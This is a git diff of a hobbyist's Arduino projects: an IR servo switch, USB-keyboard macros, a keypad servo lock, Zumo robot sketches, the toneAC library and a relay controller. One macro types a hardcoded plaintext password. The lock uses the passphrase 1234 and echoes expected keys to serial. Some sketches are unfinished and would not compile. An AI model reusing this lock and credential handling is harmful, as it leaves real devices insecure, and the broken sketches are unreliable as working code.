@@ +#include +#include + +Servo myservo; +int pos = 0; +int RECV_PIN = 11; +IRrecv irrecv(RECV_PIN); +decode_results results; +unsigned long CurrentValue = 0; +unsigned long StoredCode = 0; +const int buttonPin = 6; // the number of the pushbutton pin +const int ledPin = 4; // the number of the LED pin +const int outputPin = 3; // the number of the output LED pin +const int relayPin = 2; // the number of the relay pin +int buttonState = 0; // variable for reading the pushbutton status +int RecordState = 0; //is the reciever in record mode +int outputState = 1; //is the output on or off + +void setup() +{ + Serial.begin(9600); + myservo.attach(9); + irrecv.enableIRIn(); // Start the receiver + + // initialize the LED pin as an output: + pinMode(ledPin, OUTPUT); + // initialize the pushbutton pin as an input: + pinMode(outputPin, OUTPUT); + // initialize the pushbutton pin as an input: pinMode(buttonPin, INPUT); + pinMode(relayPin, OUTPUT); + // initialize the pushbutton pin as an input: pinMode(buttonPin, INPUT); + +} + + +void loop() { + + // read the state of the pushbutton value: +buttonState = digitalRead(buttonPin); + + // if a signal is detected, store the value +if (irrecv.decode(&results)) { + CurrentValue = (results.value); + + // if the recieved value equals the programed value, then toggle the output state + if(CurrentValue == StoredCode) { + outputState = 1; + } + + // if the record mode is activated store the current value as the programed value + if (RecordState == 1) { + StoredCode = CurrentValue; + RecordState = 0; + digitalWrite(ledPin, LOW); + Serial.println(StoredCode); //displays stored code for reference + } + + // Receive the next value + irrecv.resume(); +} + +else //if no signal is detected, then the current value is 0 +{ + CurrentValue = 0; +} + + // check if the record button is pressed. + // if it is, the buttonState is HIGH: +if (buttonState == HIGH) { + + //wait for the button to be released + while (buttonState == HIGH) { + buttonState = digitalRead(buttonPin); + } + + //turn on the LED to indicate that record mode is on + digitalWrite(ledPin, HIGH); + RecordState = 1; +} + + //set the appropriate output state +if(outputState == 1) { + + digitalWrite(outputPin, HIGH); + myservo.write(180); + delay(1000); + myservo.write(150); + digitalWrite(outputPin, LOW); + outputState = 0; +} + +} diff --git a/Projects/Keyboard/Login/Login.ino b/Projects/Keyboard/Login/Login.ino new file mode 100755 index 0000000..7e56d83 --- /dev/null +++ b/Projects/Keyboard/Login/Login.ino @@ -0,0 +1,22 @@ + const int buttonPin = 4; + int buttonState = LOW; + + void setup() + { + pinMode(buttonPin, LOW); + Keyboard.begin(); + } + + void loop() + { + int buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + Keyboard.write((char) 0xB0); + delay(500); + Keyboard.print("Kevinojm"); + Keyboard.write((char) 0xB0); + delay(500); + } + } + diff --git a/Projects/Keyboard/Open_Program/Open_Program.ino b/Projects/Keyboard/Open_Program/Open_Program.ino new file mode 100755 index 0000000..a435bf2 --- /dev/null +++ b/Projects/Keyboard/Open_Program/Open_Program.ino @@ -0,0 +1,24 @@ + const int buttonPin = 4; + int buttonState = LOW; + + void setup() + { + pinMode(buttonPin, LOW); + Keyboard.begin(); + } + + void loop() + { + int buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + Keyboard.press((char) 0x80); + Keyboard.press((char) 0x20); + Keyboard.releaseAll(); + Keyboard.print("Photoshop"); + Keyboard.write((char) 0xB0); + Keyboard.releaseAll(); + delay(500); + } + } + diff --git a/Projects/Keyboard/Sleep/Sleep.ino b/Projects/Keyboard/Sleep/Sleep.ino new file mode 100755 index 0000000..2064ccc --- /dev/null +++ b/Projects/Keyboard/Sleep/Sleep.ino @@ -0,0 +1,24 @@ + const int buttonPin = 4; + int buttonState = LOW; + + void setup() + { + pinMode(buttonPin, LOW); + Keyboard.begin(); + } + + void loop() + { + int buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + Keyboard.press((char) 0x80); + Keyboard.press((char) 0x20); + Keyboard.releaseAll(); + delay(100); + Keyboard.print("Sleep"); + Keyboard.write((char) 0xB0); + delay(500); + } + } + diff --git a/Projects/Keyboard/ping/ping.ino b/Projects/Keyboard/ping/ping.ino new file mode 100755 index 0000000..5b1d310 --- /dev/null +++ b/Projects/Keyboard/ping/ping.ino @@ -0,0 +1,28 @@ + const int buttonPin = 4; + int buttonState = LOW; + + void setup() + { + pinMode(buttonPin, LOW); + Keyboard.begin(); + } + + void loop() + { + int buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + Keyboard.press((char) 0x80); + Keyboard.press((char) 0x20); + Keyboard.releaseAll(); + delay(100); + Keyboard.print("Terminal"); + Keyboard.write((char) 0xB0); + delay(600); + Keyboard.print("ping google.com"); + Keyboard.write((char) 0xB0); + Keyboard.releaseAll(); + delay(500); + } + } + diff --git a/Projects/Lock/Lock.ino b/Projects/Lock/Lock.ino new file mode 100755 index 0000000..1d6efec --- /dev/null +++ b/Projects/Lock/Lock.ino @@ -0,0 +1,104 @@ +// Keypad_Lock.ino +#include +#include + +// Output +int led = 2; + +// Input +char passphrase[] = {'1', '2', '3', '4'}; +int pass_length = sizeof(passphrase); +bool locked = true; +int i = 0; +int angle = 0; + +const byte rows = 4; +const byte cols = 3; +char keys[rows][cols] = { + {'1', '2', '3'}, + {'4', '5', '6'}, + {'7', '8', '9'}, + {'*', '0', '#'} +}; + +byte rowPins[rows] = {9, 8, 7, 6}; +byte colPins[cols] = {5, 4, 3}; + +Servo myservo; +Keypad keypad = Keypad(makeKeymap(keys), rowPins, colPins, rows, cols); + +void unlock() { + locked = false; + + for(int i=0; i<5; i++) { + digitalWrite(led, HIGH); + delay(250); + digitalWrite(led, LOW); + delay(250); + } + + myservo.write(160); +} + +void lock() { + locked = true; + i = 0; + + myservo.write(40); +} + +void correct_entry() { + i++; + + if (i!=pass_length) { + //digitalWrite(led, HIGH); + //delay(250); + //digitalWrite(led, LOW); + } + else { + unlock(); + } +} + +void setup() { + Serial.begin(9600); + + // Output + pinMode(led, OUTPUT); + myservo.attach(10, 0, 2000); +} + +void loop() { + char key = keypad.getKey(); + + if (key) { + // Debug + Serial.print(key); + Serial.println(passphrase[i]); + + // key_pressed(); + + if (locked==false) { + if (key=='*') { + lock(); + } + } + else { + if (i==0) { + if (key==passphrase[i]) { + correct_entry(); + } + } + else if (i>0) { + if (key==passphrase[i]) { + correct_entry(); + } + else { + i=0; + } + } + } + } +} + + diff --git a/Projects/ProgLab/Instrument/Instrument.ino b/Projects/ProgLab/Instrument/Instrument.ino new file mode 100644 index 0000000..71287f5 --- /dev/null +++ b/Projects/ProgLab/Instrument/Instrument.ino @@ -0,0 +1,25 @@ +#include + +Servo myservo; + +int potpin = 0; +int potReading; +int photocellPin = 1; +int photocellReading; + +void setup() +{ + myservo.attach(9); +} + +void loop() +{ + potReading = analogRead(potpin); + potReading = map(potReading, 0, 1023, 0, 179); + myservo.write(potReading); + photocellReading = analogRead(photocellPin); + + int thisPitch = map(photocellReading, 1, 1000, 120, 1500); + tone(8, thisPitch, 10); + delay(1); +} diff --git a/Projects/ProgLab/Instrument2/Instrument2.ino b/Projects/ProgLab/Instrument2/Instrument2.ino new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/Projects/ProgLab/Instrument2/Instrument2.ino @@ -0,0 +1 @@ + diff --git a/Projects/ProgLab/LineFollow/LineFollow.ino b/Projects/ProgLab/LineFollow/LineFollow.ino new file mode 100644 index 0000000..09c82dc --- /dev/null +++ b/Projects/ProgLab/LineFollow/LineFollow.ino @@ -0,0 +1,107 @@ +#include +#include +#include +#include +#include +#include + + +/* + * Demo line-following code for the Pololu Zumo Robot + * + * This code will follow a black line on a white background, using a + * PID-based algorithm. It works decently on courses with smooth, 6" + * radius curves and has been tested with Zumos using 30:1 HP and + * 75:1 HP motors. Modifications might be required for it to work + * well on different courses or with different motors. + * + * http://www.pololu.com/catalog/product/2506 + * http://www.pololu.com + * http://forum.pololu.com +*/ + + +ZumoReflectanceSensorArray reflectanceSensors; +ZumoMotors motors; +Pushbutton button(ZUMO_BUTTON); +int lastError = 0; + +// This is the maximum speed the motors will be allowed to turn. +// (400 lets the motors go at top speed; decrease to impose a speed limit) +const int MAX_SPEED = 400; +// Set constants for PID control +const float KP = 0.5; // Proportional constant +const float KD = 6; // Derivative constant +const int SV = 2500; // Set-value for position (in the middle of sensors) + + +void setup() +{ + + reflectanceSensors.init(); + button.waitForButton(); // wait to start calibration + + // Turn on LED to indicate we are in calibration mode + pinMode(13, OUTPUT); + digitalWrite(13, HIGH); + + // Wait 1 second and then begin automatic sensor calibration + // by rotating in place to sweep the sensors over the line + delay(1000); + int i; + for(i = 0; i < 80; i++) + { + if ((i > 10 && i <= 30) || (i > 50 && i <= 70)) + motors.setSpeeds(-200, 200); + else + motors.setSpeeds(200, -200); + + reflectanceSensors.calibrate(); + + // Since our counter runs to 80, the total delay will be + // 80*20 = 1600 ms. + delay(20); + } + motors.setSpeeds(0,0); + + // Turn off LED to indicate we are through with calibration + digitalWrite(13, LOW); + + // Wait for the user button to be pressed and released + button.waitForButton(); +} + +void loop() +{ + unsigned int sensors[6]; + + int pv = reflectanceSensors.readLine(sensors); + // Our "error" is how far we are away from the center of the line, which + // corresponds to position 2500. + int error = pv - SV; + // do PD computation ( Integral is not used) + int speedDifference = KP*error + KD * (error - lastError); + + lastError = error; + + // Get individual motor speeds. The sign of speedDifference + // determines if the robot turns left or right. + int m1Speed = MAX_SPEED + speedDifference; + int m2Speed = MAX_SPEED - speedDifference; + + // Here we constrain our motor speeds to be between 0 and MAX_SPEED. + // Generally speaking, one motor will always be turning at MAX_SPEED + // and the other will be at MAX_SPEED-|speedDifference| if that is positive, + // else it will be stationary. For some applications, you might want to + // allow the motor speed to go negative so that it can spin in reverse. + if (m1Speed < 0) + m1Speed = 0; + if (m2Speed < 0) + m2Speed = 0; + if (m1Speed > MAX_SPEED) + m1Speed = MAX_SPEED; + if (m2Speed > MAX_SPEED) + m2Speed = MAX_SPEED; + + motors.setSpeeds(m1Speed, m2Speed); +} diff --git a/Projects/ProgLab/LineFollower/LineFollower.ino b/Projects/ProgLab/LineFollower/LineFollower.ino new file mode 100644 index 0000000..f6696fc --- /dev/null +++ b/Projects/ProgLab/LineFollower/LineFollower.ino @@ -0,0 +1,53 @@ +#include +#include +#include +#include +#include +#include + +#define driveSpeed 150 +#define lightThreshold 800 + +ZumoMotors motors; +Pushbutton button(ZUMO_BUTTON); +unsigned int sensorValues[6]; +ZumoReflectanceSensorArray reflectanceSensors; + +void setup() +{ + reflectanceSensors.init(); + motors.setSpeeds(0,0); + button.waitForButton(); +} + +void findLine() +{ + reflectanceSensors.read(sensorValues); + if (sensorValues[0] > lightThreshold) + { + turnLeft(); + } + else if (sensorValues[5] > lightThreshold) + { + turnRight(); + } +} + +void turnLeft() +{ + motors.setSpeeds(-driveSpeed, -300); + delay(400); +} +void turnRight() +{ + motors.setSpeeds(-300, -driveSpeed); + delay(400); +} + +void loop() +{ + findLine(); + motors.setSpeeds(driveSpeed, driveSpeed); +} + + diff --git a/Projects/ProgLab/Lyskryss/Lyskryss.ino b/Projects/ProgLab/Lyskryss/Lyskryss.ino new file mode 100644 index 0000000..58169e5 --- /dev/null +++ b/Projects/ProgLab/Lyskryss/Lyskryss.ino @@ -0,0 +1,57 @@ +#include +#include + +#define Trigger_Pin 12 +#define Echo_Pin 11 +#define Max_Distance 200 + +// Green car - 10 +// Yellow car - 9 +// Red car - 8 +// Green person - 7 +// Red person - 6 +// ECHO 11 & 12 + + +NewPing sonar(Trigger_Pin, Echo_Pin, Max_Distance); + +Servo gateServo; +int servoPos = 0; + +int lightPinArray[] = { + 10, 9, 9, 8, 7, 6, 6, 7, 9, 8, 9}; +boolean lightStateArray[] = { + LOW, HIGH, LOW, HIGH, LOW, HIGH, LOW, HIGH, HIGH, LOW, LOW}; +int lightDelayArray[] = { + 1000, 0, 500, 0, 500, 0, 2000, 0, 500, 500, 0}; + +void setup() +{ + for (int i = 0; i < 5; i++) + { + pinMode(i + 6, OUTPUT); + } + gateServo.attach(4); +} + +void personDetected() +{ + for(int i = 0; i < 12; i++) + { + delay(lightDelayArray[i]); + digitalWrite(lightPinArray[i], lightStateArray[i]); + } + +void loop() +{ + unsigned int uS = sonar.ping(); + if ((uS /US_ROUNDTRIP_CM) < 5 && uS /US_ROUNDTRIP_CM > 1) + { + personDetected(); + } + else + { + digitalWrite(7, HIGH); + digitalWrite(10, HIGH); + } +} diff --git a/Projects/ProgLab/Lyskryss/data/plab-library-master.zip b/Projects/ProgLab/Lyskryss/data/plab-library-master.zip new file mode 100644 index 0000000000000000000000000000000000000000..e308bf9144c5256610aab88e8d93080ac034b6f6 GIT binary patch literal 1374 zcmWIWW@h1H0D;>DMs8pRln`OyWGKiVwJ;L{gC;8jgAxv{0j0$mPNgL!`FVQD1qE<}N`r4_NgE2(-d{iCm_S*l z=Ow53q?imnlg4X&xlZz4nww0&t-9DJ7W-z#qx$tr_EuakJ8UK!#V;)m zolHMFSD|#?e3fRgni94BW!JR0DvTcN5NIi=F1M|ncjwN*cJGF6?iok54-_twIUC5Y z7@n;mk-NYkAyiuO(DBU-oXqDe)Sj|=b*7kmZkoJn*R8+)tdSb5sVDcdJm~+={-=aKs?zp=q2_v-nm-NrwzgiUhv zkh-g$%ILW>m2ct%V`kNEPwQ*PZ%eJcEK<77Q)RVy1p6tj#Ir45=WN?KRpgv#p)pJ6 zwTgX?+-ApDEV*y?@b&AA@?t>3$sW<>vAWKyxB=KqJM|8|u0$Xw5RmgK+3 zSdabH+=unoL#3`R6N@-=Na@-(_fm}s6B|!{S^51|uC0fC0JqwC@3-ZCK~eEPRXZNP ze!p;j_v|&RlIokkeQ{>g?@%?k(C2YMC?}?L>kE@xEmJ+yyndPo<>$8S49#A3ec7xV z-*y&W?3?(iV*b^a4`v@Z_QW|&xbwL38Z`E;)npOQiu(?96S=hqJX`{ywc< zP+hzE#cTar883G-YDREOZBu*3#vQP2n#al+=}tZyRhFK<_$O9%na_kTmQTX8d_ttu zzWceV%nlP){5Q+|_SMU`A6K3J%(#i?)4^?4R%M(a-x#(o;mhKG^CHAEq41{i7lGO- z$4V|p_%0M)WN_*CMBa}Ft9hgEe9V=(-Lt)g?Pb!>=nP%0j^0NtY3@^^Pd5sjzj=fC z@ABTu^A0ERq~DPZe#8CuC9g$JWO>1b{<|OVERGU4v1eb)a&IwzdjI5GD`vmez4f9t z;jEzkqT)G+IHbL+AGkOjn04{_q{G*jZ1}?%;LQjOdECVWq{I+_790c$4VY2biw#5x zWDR6uGYUr`f^Z|mVDvPDFnBu9F9Zxmq@VzARyL4UW+40xq*YlM7&I6xlaefx&CL@N jQw&qgQ%ww#4U)~063tB0j1AI~j11GvQ!Fe@jgpc8cIqb; literal 0 HcmV?d00001 diff --git a/Projects/ProgLab/Zumo_1/Zumo_1.ino b/Projects/ProgLab/Zumo_1/Zumo_1.ino new file mode 100644 index 0000000..a7302ac --- /dev/null +++ b/Projects/ProgLab/Zumo_1/Zumo_1.ino @@ -0,0 +1,89 @@ +#include +#include +#include +#include +#include +#include + +ZumoReflectanceSensorArray reflectanceSensors; +unsigned int sensor_values[6]; +ZumoMotors motors; +Pushbutton button(ZUMO_BUTTON); +int lastError = 0; + +const int MAX_SPEED = 800; +// Set constants for PID control +const float KP = 0.5; // Proportional constant +const float KD = 6; // Derivative constant +const int SV = 2500; // Set-value for position (in the middle of sensors) + +unsigned long Timer; //"ALWAYS use unsigned long for timers, not int" + +void setup() +{ + Serial.begin(9600); + reflectanceSensors.init(); + pinMode(13, OUTPUT); + digitalWrite(13, HIGH); + button.waitForButton(); + for(int i = 0; i < 80; i++) + { + if ((i > 10 && i <= 30) || (i > 50 && i <= 70)) + motors.setSpeeds(-200, 200); + else + motors.setSpeeds(200, -200); + + reflectanceSensors.calibrate(); + + // Since our counter runs to 80, the total delay will be + // 80*20 = 1600 ms. + delay(20); + } + motors.setSpeeds(0, 0); + button.waitForButton(); + + digitalWrite(13, LOW); +} + +void loop() +{ + reflectanceSensors.read(sensor_values); + if (sensor_values[5] < 1800) + { + motors.setSpeeds(-100, -100); + delay(1000); + motors.setSpeeds(-100, 100); + delay(1000); + } + else if (sensor_values[0] < 1800) + { + motors.setSpeeds(-100, -100); + delay(1000); + motors.setSpeeds(100, -100); + delay(1000); + } + else + { + motors.setSpeeds(100, 100); + } + + int pv = reflectanceSensors.readLine(sensor_values); + // Our "error" is how far we are away from the center of the line, which + // corresponds to position 2500. + int error = pv - SV; + // do PD computation ( Integral is not used) + int speedDifference = KP*error + KD * (error - lastError); + + + //Serial.println(error); + lastError = error; + + // Get individual motor speeds. The sign of speedDifference + // determines if the robot turns left or right. + int m1Speed = MAX_SPEED + speedDifference; + int m2Speed = MAX_SPEED - speedDifference; + + + + motors.setSpeeds(m1Speed, m2Speed); +} diff --git a/Projects/ProgLab/Zumo_2.0/Zumo_2.0.ino b/Projects/ProgLab/Zumo_2.0/Zumo_2.0.ino new file mode 100644 index 0000000..0f218e7 --- /dev/null +++ b/Projects/ProgLab/Zumo_2.0/Zumo_2.0.ino @@ -0,0 +1,54 @@ +#include +#include +#include +#include +#include +#include + +#define maxSpeed 400 +#define reverseSpeed 400 +#define lightThreshold 1800 + +ZumoMotors motors; +Pushbutton button(ZUMO_BUTTON); +unsigned int sensorValues[6]; +ZumoReflectanceSensorArray reflectaneceSensors; + +void setup() +{ + reflectaneceSensors.init(); + motors.setSpeeds(0,0); + button.waitForButton(); +} + +void findLine() +{ + reflectaneceSensors.read(sensorValues); + if (sensorValues[0] > lightThreshold) + { + turnLeft(1000); + } + else if (sensorValues[5] > lightThreshold) + { + turnRight(1000); + } +} + +void turnLeft(int delayTime) +{ + motors.setSpeeds(0, 200); + delay(delayTime); +} +void turnRight(int delayTime) +{ + motors.setSpeeds(200, 0); + delay(delayTime); +} + +void loop() +{ + findLine(); + motors.setSpeeds(200, 200); +} + + diff --git a/Projects/ProgLab/Zumo_2/Zumo_2.ino b/Projects/ProgLab/Zumo_2/Zumo_2.ino new file mode 100644 index 0000000..62cd1f2 --- /dev/null +++ b/Projects/ProgLab/Zumo_2/Zumo_2.ino @@ -0,0 +1,81 @@ +/* +Drive forward and turn left or right when border is detected + - Only reflectionsensor 0 and 5 are used. +*/ +#include +#include +#include +#include +#include + +#define LED 13 + +// this might need to be tuned for different lighting conditions, surfaces, etc. +#define lightThreshold 1800 // + +#define reverseSpeed 200 +#define turnSpeed 200 +#define forwardSpeed 100 +#define revDuration 200 +#define turnDuration 500 +ZumoMotors motors; +Pushbutton button(ZUMO_BUTTON); // pushbutton on pin 12 +#define NUM_SENSORS 6 +unsigned int sensor_values[NUM_SENSORS]; +ZumoReflectanceSensorArray sensors; + +const int echoPin1 = 2; +const int echoPin2 = 4; +const int triggerPin1 = 3; +const int triggerPin2 = 5; +const int maxDistance = 40; + +NewPing sonar1(triggerPin1, echoPin1, maxDistance); +NewPing sonar2(triggerPin2, echoPin2, maxDistance); + +void setup() +{ + Serial.begin(9600); + sensors.init(); + button.waitForButton(); +} + +void turnLeft() +{ + motors.setSpeeds(-reverseSpeed, -reverseSpeed); + delay(revDuration); + motors.setSpeeds(turnSpeed, -turnSpeed); + delay(turnDuration); + motors.setSpeeds(forwardSpeed, forwardSpeed); +} + +void turnRight() +{ + motors.setSpeeds(-reverseSpeed, -reverseSpeed); + delay(revDuration); + motors.setSpeeds(-turnSpeed, turnSpeed); + delay(turnDuration); + motors.setSpeeds(forwardSpeed, forwardSpeed); +} + +void loop() +{ + sensors.read(sensor_values); + if (sensor_values[0] < lightThresHold || sensor_values[5] < lightThreshold) + { + if (sensor_values[0] < lightThreshold) + { + turnLeft(); + } + else if (sensor_values[5] < lightThreshold) + { + turnRight(); + } + } + + unsigned int time = sonar1.ping(); + if ( + + // If haven't done anything, go forward + motors.setSpeeds(forwardSpeed, forwardSpeed); +} diff --git a/Projects/ProgLab/Zumo__/Zumo__.ino b/Projects/ProgLab/Zumo__/Zumo__.ino new file mode 100644 index 0000000..aba1ad2 --- /dev/null +++ b/Projects/ProgLab/Zumo__/Zumo__.ino @@ -0,0 +1,128 @@ +/* +Drive forward and turn left or right when border is detected + - Only reflectionsensor 0 and 5 are used. +*/ +#include +#include +#include +#include +#include + +#define LED 13 + +// this might need to be tuned for different lighting conditions, surfaces, etc. +#define lightThreshold 1800 // + +#define reverseSpeed 400 +#define turnSpeed 400 +#define forwardSpeed 400 +#define revDuration 300 +#define turnDuration 200 +#define triggerPin 3 +#define echoPin 2 +#define maxDistance 200 + +ZumoMotors motors; +Pushbutton button(ZUMO_BUTTON); // pushbutton on pin 12 +#define NUM_SENSORS 6 +unsigned int sensor_values[NUM_SENSORS]; +ZumoReflectanceSensorArray sensors; + +NewPing sonar(triggerPin, echoPin, maxDistance); + +unsigned int pingSpeed = 100; +unsigned long pingTimer; + +void setup() +{ + Serial.begin(115200); + sensors.init(); + pingTimer = millis(); + //button.waitForButton(); +} + +boolean findLine() +{ + sensors.read(sensor_values); + if (sensor_values[0] < lightThreshold || sensor_values[5] < lightThreshold) + { + if (sensor_values[0] < lightThreshold) + { + turnLeft(); + return true; + } + else if (sensor_values[5] < lightThreshold) + { + turnRight(); + return true; + } + } + return false; +} + +void turnLeft() +{ + motors.setSpeeds(-reverseSpeed, -reverseSpeed); + delay(revDuration); + motors.setSpeeds(turnSpeed, -turnSpeed); + delay(turnDuration); +} + +void turnRight() +{ + motors.setSpeeds(-reverseSpeed, -reverseSpeed); + delay(revDuration); + motors.setSpeeds(-turnSpeed, turnSpeed); + delay(turnDuration); +} +/* +void search() +{ + time = sonar.ping(); + distance = sonar.convert_cm(time); + if (distance < 40) + motors.setSpeeds(310, 400); + else + { + motors.setSpeeds(400, 400); + delay(20); + time = sonar.ping(); + distance = sonar.convert_cm(time); + if (distance < 40) + motors.setSpeeds(310, 400); + } +}*/ + +void echoCheck() +{ + if (sonar.check_timer()) + { + if (sonar.ping_result / US_ROUNDTRIP_CM < 20) + { + Serial.println(sonar.ping_result / US_ROUNDTRIP_CM); + motors.setSpeeds(310, 400); + } + else + { + Serial.println("Nothing here!"); + motors.setSpeeds(400, 400); + delay(20); + } + } +} + +void scan() +{ + // Init at start, find the target. +} + +void loop() +{ + findLine(); + motors.setSpeeds(310, 400); + if (millis() >= pingTimer) + { + pingTimer += pingSpeed; + sonar.ping_timer(echoCheck); + } +} diff --git a/Projects/ProgLab/toneAC.h/toneAC.h b/Projects/ProgLab/toneAC.h/toneAC.h new file mode 100644 index 0000000..6eb2d17 --- /dev/null +++ b/Projects/ProgLab/toneAC.h/toneAC.h @@ -0,0 +1,221 @@ +// --------------------------------------------------------------------------- + +// toneAC Library - v1.2 - 01/27/2013 + +// + +// AUTHOR/LICENSE: + +// Created by Tim Eckel - teckel@leethost.com + +// Copyright 2013 License: GNU GPL v3 http://www.gnu.org/licenses/gpl-3.0.html + +// + +// LINKS: + +// Project home: http://code.google.com/p/arduino-tone-ac/ + +// Blog: http://arduino.cc/forum/index.php/topic,142097.msg1066968.html + +// + +// DISCLAIMER: + +// This software is furnished "as is", without technical support, and with no + +// warranty, express or implied, as to its usefulness for any purpose. + +// + +// PURPOSE: + +// Replacement to the standard tone library with the advantage of nearly twice + +// the volume, higher frequencies (even if running at a lower clock speed), + +// higher quality (less clicking), nearly 1.5k smaller compiled code and less + +// stress on the speaker. Disadvantages are that it must use certain pins and + +// it uses two pins instead of one. But, if you're flexible with your pin + +// choices, this is a great upgrade. It also uses timer 1 instead of timer 2, + +// which may free up a conflict you have with the tone library. It exclusively + +// uses port registers for the fastest and smallest code possible. + +// + +// USAGE: + +// Connection is very similar to a piezo or standard speaker. Except, instead + +// of connecting one speaker wire to ground you connect both speaker wires to + +// Arduino pins. The pins you connect to are specific, as toneAC lets the + +// ATmega microcontroller do all the pin timing and switching. This is + +// important due to the high switching speed possible with toneAC and to make + +// sure the pins are alyways perfectly out of phase with each other + +// (push/pull). See the below CONNECTION section for which pins to use for + +// different Arduinos. Just as usual when connecting a speaker, make sure you + +// add an inline 100 ohm resistor between one of the pins and the speaker wire. + +// + +// CONNECTION: + +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. + +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega + +// Pins 12 & 13 - ATmega1284P, ATmega644 + +// Pins 14 & 15 - Teensy 2.0 + +// Pins 25 & 26 - Teensy++ 2.0 + +// + +// SYNTAX: + +// toneAC( frequency [, volume [, length [, background ]]] ) - Play a note. + +// Parameters: + +// * frequency - Play the specified frequency indefinitely, turn off with toneAC(). + +// * volume - [optional] Set a volume level. (default: 10, range: 0 to 10 [0 = off]) + +// * length - [optional] Set the length to play in milliseconds. (default: 0 [forever], range: 0 to 2^32-1) + +// * background - [optional] Play note in background or pause till finished? (default: false, values: true/false) + +// toneAC() - Stop playing. + +// noToneAC() - Same as toneAC(). + +// + +// HISTORY: + +// 01/27/2013 v1.2 - Fixed a counter error which went "over the top" and caused + +// periods of silence (thanks Krodal). For advanced users needing tight code, + +// the TONEAC_TINY switch in toneAC.h activates a version of toneAC() that + +// saves 110 bytes. With TONEAC_TINY, the syntax is toneAC(frequency, length) + +// while playing the note at full volume forever in the background. Added + +// support for the ATmega 640, 644, 1281, 1284P and 2561 microcontrollers. + +// + +// 01/16/2013 v1.1 - Option to play notes in background, returning control back + +// to your sketch for processing while note plays (similar to the way the tone + +// library works). Volume is now linear and in the range from 0-10. Now uses + +// prescaler 256 instead of 64 for frequencies below 122 Hz so it can go down + +// to 1 Hz no matter what speed the CPU is clocked at (helpful if using toneAC + +// to control a two-pin dual LED). + +// + +// 01/11/2013 v1.0 - Initial release. + +// + +// --------------------------------------------------------------------------- + + + +#ifndef toneAC_h + + #define toneAC_h + + + + #if defined(ARDUINO) && ARDUINO >= 100 + + #include + + #else + + #include + + #endif + + + + //#define TONEAC_TINY // Uncomment to use alternate function toneAC(frequency, length) that saves 110 bytes. + + + + #if defined (__AVR_ATmega32U4__) || defined(__AVR_ATmega640__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega1281__) || defined(__AVR_ATmega2560__) || defined(__AVR_ATmega2561__) + + #define PWMT1AMASK DDB5 + + #define PWMT1BMASK DDB6 + + #define PWMT1DREG DDRB + + #define PWMT1PORT PORTB + + #elif defined(__AVR_ATmega1284P__) || defined(__AVR_ATmega644__) || defined(__AVR_ATmega644P__) + + #define PWMT1AMASK DDD4 + + #define PWMT1BMASK DDD5 + + #define PWMT1DREG DDRD + + #define PWMT1PORT PORTD + + #else + + #define PWMT1AMASK DDB1 + + #define PWMT1BMASK DDB2 + + #define PWMT1DREG DDRB + + #define PWMT1PORT PORTB + + #endif + + + + #if defined(__AVR_ATmega8__) || defined(__AVR_ATmega128__) + + #define TIMSK1 TIMSK + + #endif + + + + #ifndef TONEAC_TINY + + void toneAC(unsigned long frequency = 0, uint8_t volume = 10, unsigned long length = 0, uint8_t background = false); + + #else + + void toneAC(unsigned long frequency = 0, unsigned long length = 0); + + #endif + + void noToneAC(); + +#endif diff --git a/Projects/ProgLab/toneAC.h/toneAC.h.ino b/Projects/ProgLab/toneAC.h/toneAC.h.ino new file mode 100644 index 0000000..3eb89d4 --- /dev/null +++ b/Projects/ProgLab/toneAC.h/toneAC.h.ino @@ -0,0 +1,35 @@ +// --------------------------------------------------------------------------- +// Connect your piezo buzzer (without internal oscillator) or speaker to these pins: +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega +// Pins 12 & 13 - ATmega1284P, ATmega644 +// Pins 14 & 15 - Teensy 2.0 +// Pins 25 & 26 - Teensy++ 2.0 +// Be sure to include an inline 100 ohm resistor on one pin as you normally do when connecting a piezo or speaker. +// --------------------------------------------------------------------------- + +#include "toneAC.h" + +// Melody liberated from the toneMelody Arduino example sketch by Tom Igoe. +int melody[] = { 262, 196, 196, 220, 196, 0, 247, 262 }; +int noteDurations[] = { 4, 8, 8, 4, 4, 4, 4, 4 }; + +void setup() {} // Nothing to setup, just start playing! + +void loop() { + for (unsigned long freq = 125; freq <= 15000; freq += 10) { + toneAC(freq); // Play the frequency (125 Hz to 15 kHz sweep in 10 Hz steps). + delay(1); // Wait 1 ms so you can hear it. + } + toneAC(); // Turn off toneAC, can also use noToneAC(). + + delay(1000); // Wait a second. + + for (int thisNote = 0; thisNote < 8; thisNote++) { + int noteDuration = 1000/noteDurations[thisNote]; + toneAC(melody[thisNote], 10, noteDuration, true); // Play thisNote at full volume for noteDuration in the background. + delay(noteDuration * 4 / 3); // Wait while the tone plays in the background, plus another 33% delay between notes. + } + + while(1); // Stop (so it doesn't repeat forever driving you crazy--you're welcome). +} diff --git a/Projects/RelayController/RelayController_1.0/RelayController_1.0.ino b/Projects/RelayController/RelayController_1.0/RelayController_1.0.ino new file mode 100644 index 0000000..e846085 --- /dev/null +++ b/Projects/RelayController/RelayController_1.0/RelayController_1.0.ino @@ -0,0 +1,66 @@ +#include + +int relayPins[] = {4, 7, 6, 5}; +int buttonPins[] = {8, 9, 10, 11, 12, 13}; +int relayState[] = {0, 0, 0, 0}; +int buttonState = 0; + +Servo myservo; + +void setup() { + for (int i = 0; i < 6; i++) + { + if (i < 4) + { + pinMode(relayPins[i], OUTPUT); + } + pinMode(buttonPins[i], INPUT_PULLUP); + } + + myservo.attach(3); +} + +void loop() +{ + for (int i = 0; i < 6; i++) + { + buttonState = digitalRead(buttonPins[i]); + if (buttonState == LOW) + { + switch (i) + { + case 4: + // + break; + case 3: + // Turn on the servo for speaker + myservo.write(150); + delay(1000); + myservo.write(140); + break; + default: + relayChange(i); + break; + } + } + while (buttonState == LOW) + { + delay(50); + buttonState = digitalRead(buttonPins[i]); + } + } +} + +void relayChange(int i) +{ + if (relayState[i] == 0) + { + digitalWrite(relayPins[i], HIGH); + relayState[i] = 1; + } + else + { + digitalWrite(relayPins[i], LOW); + relayState[i] = 0; + } +} diff --git 